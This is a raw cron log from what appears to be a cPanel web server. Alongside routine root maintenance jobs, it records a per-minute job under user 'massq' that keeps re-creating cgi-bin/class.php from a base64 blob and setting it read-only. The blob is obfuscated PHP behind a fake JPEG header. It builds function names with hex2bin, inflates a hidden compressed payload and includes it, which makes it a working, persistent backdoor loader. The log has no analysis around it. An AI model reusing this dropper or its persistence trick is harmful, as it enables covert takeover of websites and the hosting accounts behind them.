Sep 12 17:54:01 server CROND[21803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:54:01 server CROND[21804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:55:01 server CROND[22184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:55:01 server CROND[22187]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:55:01 server CROND[22185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:55:01 server CROND[22189]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 17:55:01 server CROND[22186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:55:01 server CROND[22190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:55:01 server CROND[22188]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 17:56:01 server CROND[23173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:56:01 server CROND[23174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:56:01 server CROND[23175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:57:01 server CROND[23544]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 17:57:01 server CROND[23545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:57:01 server CROND[23546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:57:01 server CROND[23547]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:58:01 server CROND[23918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:58:01 server CROND[23919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:58:01 server CROND[23920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:59:01 server CROND[24387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:59:01 server CROND[24388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:59:01 server CROND[24389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:00:01 server CROND[24772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:00:01 server CROND[24773]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:00:01 server CROND[24776]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 18:00:01 server CROND[24777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:00:01 server CROND[24782]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:00:01 server CROND[24781]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 18:00:01 server CROND[24779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:00:01 server CROND[24784]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 18:00:01 server CROND[24780]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 18:00:01 server CROND[24778]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 18:01:01 server CROND[25632]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 18:01:01 server CROND[25633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:01:01 server CROND[25634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:01:01 server CROND[25635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:01:01 server run-parts(/etc/cron.hourly)[25632]: starting 0anacron
Sep 12 18:01:01 server run-parts(/etc/cron.hourly)[25653]: finished 0anacron
Sep 12 18:02:01 server CROND[26039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:02:01 server CROND[26038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:02:01 server CROND[26040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:03:01 server CROND[26413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:03:01 server CROND[26414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:03:01 server CROND[26415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:04:01 server CROND[27011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:04:01 server CROND[27012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:04:01 server CROND[27013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:05:01 server CROND[27471]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 18:05:01 server CROND[27473]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:05:01 server CROND[27477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:05:01 server CROND[27476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
